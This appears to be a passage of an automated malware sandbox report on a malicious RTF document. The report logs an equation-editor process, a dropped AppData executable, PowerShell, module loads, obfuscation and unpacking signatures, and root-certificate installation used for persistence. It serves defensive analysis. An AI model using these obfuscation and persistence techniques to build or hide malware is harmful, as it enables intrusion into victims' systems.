Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: shfolder.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\InProcServer32 Jump to behavior
Source: Xkl0PnD8zFPjfh1.wiz.LNK.0.dr LNK file: ..\..\..\..\..\Desktop\Xkl0PnD8zFPjfh1.wiz.rtf
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, RMQW4BFBjZuxJDH8DI.cs .Net Code: mKLRMTo664 System.Reflection.Assembly.Load(byte[])
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, RMQW4BFBjZuxJDH8DI.cs .Net Code: mKLRMTo664 System.Reflection.Assembly.Load(byte[])
Uses code obfuscation techniques (call, push, ret)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0065C264 pushad ; retn 0065h 2_2_0065C289
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0064F962 push ss; retf 2_2_0064F968
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0065E170 push eax; retf 2_2_0065E171
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0066574A push esp; ret 2_2_0066574B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_00665752 push esp; ret 2_2_00665753
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0064F724 push D1366233h; retf 2_2_0064F74B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_00665022 push ebp; ret 2_2_00665023
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0065C333 push A00065C4h; ret 2_2_0065C3F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_00665000 push ebp; ret 2_2_0066501B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0065C2DC pushad ; retn 0065h 2_2_0065C2DD
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0065C3A4 push A00065C4h; ret 2_2_0065C3F5
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_005C90F8 pushfd ; retn 0046h 8_2_005C90F9
Source: Xkl0PnD8zFPjfh1[1].exe.2.dr Static PE information: section name: .text entropy: 7.973674679301799
Source: wealthcharliebgk.exe.2.dr Static PE information: section name: .text entropy: 7.973674679301799
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, dtKeGNeVNY8RE0vBLA.cs High entropy of concatenated method names: 'NCCXBDr1Lk', 'GsaXHlCImj', 'jgsdv2ZobI', 'WLTdU9tW1B', 'fDIdTE5vCY', 'BVGdbDMEE5', 'TIld38ILKS', 'ffMdglfbo9', 'SNedudLgmD', 'it8dismJma'
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, PALlVQORW7VbmF9ELo2.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'QfYyW0OLg1', 'islyQJWCQZ', 'UYoyxjv3Dk', 'tbkyykd0lb', 'M4Ry9G0X04', 'OUCy1JQtVc', 'nCSykwpQ38'
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, shKIYL39keTC3Y0mTs.cs High entropy of concatenated method names: 'vNusmGijIA', 'SQGsd51ABP', 'YsYsqv1A2r', 'lcsq5y7Dtk', 'gTIqz7GxQy', 'lmssI8i491', 'TZAsOFIYq5', 'M5Ms0KkVQN', 'x9esrBqSlK', 'XZCsRtwWyF'
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, Y9KY4VzA2jSZGjyJ6P.cs High entropy of concatenated method names: 'y9CQZPUJN5', 'mWEQ8sUZTp', 'vZQQSGeFPa', 'z5cQwsiy1k', 'RhnQJheFej', 'mkAQUeygpt', 'OM0QTxq1Uj', 'pn0QkBOwXe', 'pcvQcm3BpI', 'CZSQhd0fKJ'
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, nkHJY90Brlbmc3kJEC.cs High entropy of concatenated method names: 'uM4MuIw1K', 'Wlw7U6puD', 'Cd2ZGtAuR', 'pA6H8yZi7', 'kRCS4Fp9c', 'KQpeB3clT', 'lNCgVNQY0iNENvl7vo', 'cyAvS1ypWUKRpjvLYc', 'Tt944IDf6', 'PnXQbbPMZ'
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, utJNlJw8vFTN1VgkyR.cs High entropy of concatenated method names: 'qc3q636cx2', 'n6lqGhk3xk', 'gJqqXYJilr', 'd8WqsxT8Pj', 'C96qFmwF3n', 'fwbXDs2pJu', 'LXYXKcMK2K', 'g11XLbuL4u', 'G5mXaoQSxa', 'HXwXnETDi1'
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, SAoJvXKICZmdm4r4AF.cs High entropy of concatenated method names: 'hpZAadklxE', 'tmyA5WIdBu', 'FxE4Irmj2k', 'JQ54Ol3ve2', 'ut2ApfZukn', 'jdHACKnD4U', 'BPUA26Ibxt', 's0hAoB7TTo', 'YhhAfDlpYG', 'zywAPMG304'
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, wSOUBVSC5696JmBYr5.cs High entropy of concatenated method names: 'FI1d7urVHJ', 'GkydZoYHEx', 'eGJd8J1Yi9', 'cCKdSAmoCe', 'bIddYd4Amr', 'fLtdVoPq5M', 'cuEdAETcaj', 'Mppd4IVTUU', 'VBUdWICpEO', 'FKpdQVC7K9'
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, WSgky6napDcSfTsQu0.cs High entropy of concatenated method names: 'DhXWwuDBl2', 'nosWJoT5O5', 'tYxWvBn50b', 'DWMWUucuyH', 'Ux6WTrfE4I', 'Eb2WbxEK5G', 'YeVW3g1lGx', 'FvfWgyXV2B', 'pBDWuaMmFk', 'juPWiUyi0f'
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, Q8MD4kJhk2Qpfin5Ab.cs High entropy of concatenated method names: 'Bameic9GA5CM8L0sFxU', 'lLPrdM9Ffwvo6O2x5c0', 'MkOq4XVPt7', 'CSUqWSRqOp', 'QJMqQdX5l3', 'K6yd3e9g2bn1Et02Mx3', 'YUiMVB9mpDrg1H7Eryh'
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, SOXwYAP7vdNCyO3A7D.cs High entropy of concatenated method names: 'ToString', 'baJVpJoEEC', 'I9vVJYfUZG', 'a7JVv67pRX', 'tlsVUPnCxn', 'aIFVTUuMmy', 'OrqVbE6poL', 'l0lV3OicBq', 'StvVgaN46C', 's6SVucoMT5'
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, V2NTuI83GISjPPYVRb.cs High entropy of concatenated method names: 'wkKGoXUfR7', 'vEsGf4uaQZ', 'kBaGPKPhIi', 'FMJGNNvqAt', 'CTIGDIxCOT', 'mhFGKWCMVT', 'WO7GLxMHYm', 'ReyGaef89L', 'H8wGnUDbi1', 'MDcG5tP4I1'
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, o0MILsOOnm1U2ieJdGx.cs High entropy of concatenated method names: 'QdbQ5s1mts', 'QyyQzWTAoJ', 'R6ixI1gxUi', 'I0FxOrcUBS', 'nYRx0DpA78', 'dnjxrVx2eS', 'foAxR2HKeQ', 'uDrx67sd5j', 'Q8Xxm8BSLp', 'JHTxGVN4X1'
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, kbVRJyGEL5y0oi0u8w.cs High entropy of concatenated method names: 'Dispose', 'EjtOnl9RMx', 'vP60JIVl9g', 'rOt7xETrkB', 'tvGO5de5BG', 'hWLOzgT60A', 'ProcessDialogKey', 'dNa0ISgky6', 'XpD0OcSfTs', 'su000chtdn'
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, iEcxvpukSVQdOZVxAA.cs High entropy of concatenated method names: 'RN2scPBQFq', 'eM5shKHXuF', 'X9KsMyFKme', 'nL9s7faCD4', 'zeisBSNJy6', 'o1qsZoI3C6', 'U03sHxpkDJ', 'PqFs85yP5j', 'tWpsSq0C2w', 'J0EsegtLv6'
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, fFrPugOIr6F0NahewZZ.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'XdfQphMnRo', 'MRZQCTAgFF', 'dMGQ2E6Mba', 'pl7Qo2aDTy', 'xoCQfV29SZ', 'kWYQPDwvJg', 'UBNQNLtAqi'
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, n86m6g2LgDMLIrOLOh.cs High entropy of concatenated method names: 'f7EE8N1cOP', 'FpQESTZv1K', 'uuGEwnarWt', 'ko3EJKQ1tf', 'WvrEUuU4T5', 'ypQETc6Pl4', 'AKhE3f6be7', 'V2dEgfhQfA', 'YL3EiYUCsy', 'e83EprmSLM'
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, xhtdn452GTCfESQUGv.cs High entropy of concatenated method names: 'lkiQd1Xkri', 'VEgQXI9r85', 'cXfQqx04c7', 'yFGQsw3kv2', 'udDQWuKX1v', 'zbhQFoDpJg', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, TU4Cp2RapkVHJaYXP6.cs High entropy of concatenated method names: 'zgKOs2NTuI', 'LGIOFSjPPY', 'pC5Ol696Jm', 'BYrOt5RtKe', 'cvBOYLAytJ', 'TlJOV8vFTN', 'I7d8pqh1OZGV8T3qdK', 'gX4As9voPdmYplVuRU', 'DYdOOAv81g', 'GH2OroUQjF'
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, x0XCxBoZ0VvJ6ROlJR.cs High entropy of concatenated method names: 'FDLYic61K5', 'OqWYCvCTIi', 'o52Yokwbn9', 'p0gYfnpOcS', 'HuLYJC5sV6', 'OV4YvU0nog', 'ycFYUqtDbq', 'mcfYTvtspX', 'aRQYbwbibW', 'lWXY3cgWq7'
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, RMQW4BFBjZuxJDH8DI.cs High entropy of concatenated method names: 'KkXr6PqgUP', 'uWlrmpWI4Y', 'zOfrGtBSw8', 'PtxrdGKTEl', 'xjCrXvi4tS', 'FCJrqMPWkd', 'Gr8rsi8rwj', 'SJ9rFciKUM', 'Gmsrj7OMXY', 'MhRrl9ZF2P'
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, BP8YSHNXVPporwPd4V.cs High entropy of concatenated method names: 'YDXAl3x7YT', 'iyeAta3eQA', 'ToString', 'tx9AmoO0NS', 'nb1AGyyQ1J', 'IL8Ade4jQU', 'mLLAXcJYX6', 'gMdAqX7kWu', 'YcEAsLrEaK', 'CLkAF4kNDN'
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, bn4TrYUsuwJQmmd254.cs High entropy of concatenated method names: 'f1FqkDxIpc', 'M5lqcHc3Ou', 'gN6qMm0NJB', 'wpbq7p2ANO', 'E8uqZy52ZE', 'e2JqHYryTV', 'dfcqS21inh', 'xmaqePjGOF', 'XUBmOq9V2yow1pTjInZ', 'iDcE4D9W4EnuZxQvFBj'
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, iAfNRMLCf8jtl9RMxx.cs High entropy of concatenated method names: 'bxNWYgM37c', 'piNWAVXo4u', 'trWWWsW8B9', 'EG6WxZgVnF', 'QRlW91P18c', 'UcrWkmDSvr', 'Dispose', 'Jfq4mccBRP', 'YRj4GviwBp', 'nDu4dpOipT'
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, dtKeGNeVNY8RE0vBLA.cs High entropy of concatenated method names: 'NCCXBDr1Lk', 'GsaXHlCImj', 'jgsdv2ZobI', 'WLTdU9tW1B', 'fDIdTE5vCY', 'BVGdbDMEE5', 'TIld38ILKS', 'ffMdglfbo9', 'SNedudLgmD', 'it8dismJma'
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, PALlVQORW7VbmF9ELo2.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'QfYyW0OLg1', 'islyQJWCQZ', 'UYoyxjv3Dk', 'tbkyykd0lb', 'M4Ry9G0X04', 'OUCy1JQtVc', 'nCSykwpQ38'
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, shKIYL39keTC3Y0mTs.cs High entropy of concatenated method names: 'vNusmGijIA', 'SQGsd51ABP', 'YsYsqv1A2r', 'lcsq5y7Dtk', 'gTIqz7GxQy', 'lmssI8i491', 'TZAsOFIYq5', 'M5Ms0KkVQN', 'x9esrBqSlK', 'XZCsRtwWyF'
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, Y9KY4VzA2jSZGjyJ6P.cs High entropy of concatenated method names: 'y9CQZPUJN5', 'mWEQ8sUZTp', 'vZQQSGeFPa', 'z5cQwsiy1k', 'RhnQJheFej', 'mkAQUeygpt', 'OM0QTxq1Uj', 'pn0QkBOwXe', 'pcvQcm3BpI', 'CZSQhd0fKJ'
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, nkHJY90Brlbmc3kJEC.cs High entropy of concatenated method names: 'uM4MuIw1K', 'Wlw7U6puD', 'Cd2ZGtAuR', 'pA6H8yZi7', 'kRCS4Fp9c', 'KQpeB3clT', 'lNCgVNQY0iNENvl7vo', 'cyAvS1ypWUKRpjvLYc', 'Tt944IDf6', 'PnXQbbPMZ'
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, utJNlJw8vFTN1VgkyR.cs High entropy of concatenated method names: 'qc3q636cx2', 'n6lqGhk3xk', 'gJqqXYJilr', 'd8WqsxT8Pj', 'C96qFmwF3n', 'fwbXDs2pJu', 'LXYXKcMK2K', 'g11XLbuL4u', 'G5mXaoQSxa', 'HXwXnETDi1'
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, SAoJvXKICZmdm4r4AF.cs High entropy of concatenated method names: 'hpZAadklxE', 'tmyA5WIdBu', 'FxE4Irmj2k', 'JQ54Ol3ve2', 'ut2ApfZukn', 'jdHACKnD4U', 'BPUA26Ibxt', 's0hAoB7TTo', 'YhhAfDlpYG', 'zywAPMG304'
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, wSOUBVSC5696JmBYr5.cs High entropy of concatenated method names: 'FI1d7urVHJ', 'GkydZoYHEx', 'eGJd8J1Yi9', 'cCKdSAmoCe', 'bIddYd4Amr', 'fLtdVoPq5M', 'cuEdAETcaj', 'Mppd4IVTUU', 'VBUdWICpEO', 'FKpdQVC7K9'
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, WSgky6napDcSfTsQu0.cs High entropy of concatenated method names: 'DhXWwuDBl2', 'nosWJoT5O5', 'tYxWvBn50b', 'DWMWUucuyH', 'Ux6WTrfE4I', 'Eb2WbxEK5G', 'YeVW3g1lGx', 'FvfWgyXV2B', 'pBDWuaMmFk', 'juPWiUyi0f'
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, Q8MD4kJhk2Qpfin5Ab.cs High entropy of concatenated method names: 'Bameic9GA5CM8L0sFxU', 'lLPrdM9Ffwvo6O2x5c0', 'MkOq4XVPt7', 'CSUqWSRqOp', 'QJMqQdX5l3', 'K6yd3e9g2bn1Et02Mx3', 'YUiMVB9mpDrg1H7Eryh'
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, SOXwYAP7vdNCyO3A7D.cs High entropy of concatenated method names: 'ToString', 'baJVpJoEEC', 'I9vVJYfUZG', 'a7JVv67pRX', 'tlsVUPnCxn', 'aIFVTUuMmy', 'OrqVbE6poL', 'l0lV3OicBq', 'StvVgaN46C', 's6SVucoMT5'
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, V2NTuI83GISjPPYVRb.cs High entropy of concatenated method names: 'wkKGoXUfR7', 'vEsGf4uaQZ', 'kBaGPKPhIi', 'FMJGNNvqAt', 'CTIGDIxCOT', 'mhFGKWCMVT', 'WO7GLxMHYm', 'ReyGaef89L', 'H8wGnUDbi1', 'MDcG5tP4I1'
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, o0MILsOOnm1U2ieJdGx.cs High entropy of concatenated method names: 'QdbQ5s1mts', 'QyyQzWTAoJ', 'R6ixI1gxUi', 'I0FxOrcUBS', 'nYRx0DpA78', 'dnjxrVx2eS', 'foAxR2HKeQ', 'uDrx67sd5j', 'Q8Xxm8BSLp', 'JHTxGVN4X1'
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, kbVRJyGEL5y0oi0u8w.cs High entropy of concatenated method names: 'Dispose', 'EjtOnl9RMx', 'vP60JIVl9g', 'rOt7xETrkB', 'tvGO5de5BG', 'hWLOzgT60A', 'ProcessDialogKey', 'dNa0ISgky6', 'XpD0OcSfTs', 'su000chtdn'
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, iEcxvpukSVQdOZVxAA.cs High entropy of concatenated method names: 'RN2scPBQFq', 'eM5shKHXuF', 'X9KsMyFKme', 'nL9s7faCD4', 'zeisBSNJy6', 'o1qsZoI3C6', 'U03sHxpkDJ', 'PqFs85yP5j', 'tWpsSq0C2w', 'J0EsegtLv6'
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, fFrPugOIr6F0NahewZZ.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'XdfQphMnRo', 'MRZQCTAgFF', 'dMGQ2E6Mba', 'pl7Qo2aDTy', 'xoCQfV29SZ', 'kWYQPDwvJg', 'UBNQNLtAqi'
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, n86m6g2LgDMLIrOLOh.cs High entropy of concatenated method names: 'f7EE8N1cOP', 'FpQESTZv1K', 'uuGEwnarWt', 'ko3EJKQ1tf', 'WvrEUuU4T5', 'ypQETc6Pl4', 'AKhE3f6be7', 'V2dEgfhQfA', 'YL3EiYUCsy', 'e83EprmSLM'
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, xhtdn452GTCfESQUGv.cs High entropy of concatenated method names: 'lkiQd1Xkri', 'VEgQXI9r85', 'cXfQqx04c7', 'yFGQsw3kv2', 'udDQWuKX1v', 'zbhQFoDpJg', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, TU4Cp2RapkVHJaYXP6.cs High entropy of concatenated method names: 'zgKOs2NTuI', 'LGIOFSjPPY', 'pC5Ol696Jm', 'BYrOt5RtKe', 'cvBOYLAytJ', 'TlJOV8vFTN', 'I7d8pqh1OZGV8T3qdK', 'gX4As9voPdmYplVuRU', 'DYdOOAv81g', 'GH2OroUQjF'
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, x0XCxBoZ0VvJ6ROlJR.cs High entropy of concatenated method names: 'FDLYic61K5', 'OqWYCvCTIi', 'o52Yokwbn9', 'p0gYfnpOcS', 'HuLYJC5sV6', 'OV4YvU0nog', 'ycFYUqtDbq', 'mcfYTvtspX', 'aRQYbwbibW', 'lWXY3cgWq7'
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, RMQW4BFBjZuxJDH8DI.cs High entropy of concatenated method names: 'KkXr6PqgUP', 'uWlrmpWI4Y', 'zOfrGtBSw8', 'PtxrdGKTEl', 'xjCrXvi4tS', 'FCJrqMPWkd', 'Gr8rsi8rwj', 'SJ9rFciKUM', 'Gmsrj7OMXY', 'MhRrl9ZF2P'
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, BP8YSHNXVPporwPd4V.cs High entropy of concatenated method names: 'YDXAl3x7YT', 'iyeAta3eQA', 'ToString', 'tx9AmoO0NS', 'nb1AGyyQ1J', 'IL8Ade4jQU', 'mLLAXcJYX6', 'gMdAqX7kWu', 'YcEAsLrEaK', 'CLkAF4kNDN'
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, bn4TrYUsuwJQmmd254.cs High entropy of concatenated method names: 'f1FqkDxIpc', 'M5lqcHc3Ou', 'gN6qMm0NJB', 'wpbq7p2ANO', 'E8uqZy52ZE', 'e2JqHYryTV', 'dfcqS21inh', 'xmaqePjGOF', 'XUBmOq9V2yow1pTjInZ', 'iDcE4D9W4EnuZxQvFBj'
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, iAfNRMLCf8jtl9RMxx.cs High entropy of concatenated method names: 'bxNWYgM37c', 'piNWAVXo4u', 'trWWWsW8B9', 'EG6WxZgVnF', 'QRlW91P18c', 'UcrWkmDSvr', 'Dispose', 'Jfq4mccBRP', 'YRj4GviwBp', 'nDu4dpOipT'

Persistence and Installation Behavior
barindex
Installs new ROOT certificates
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
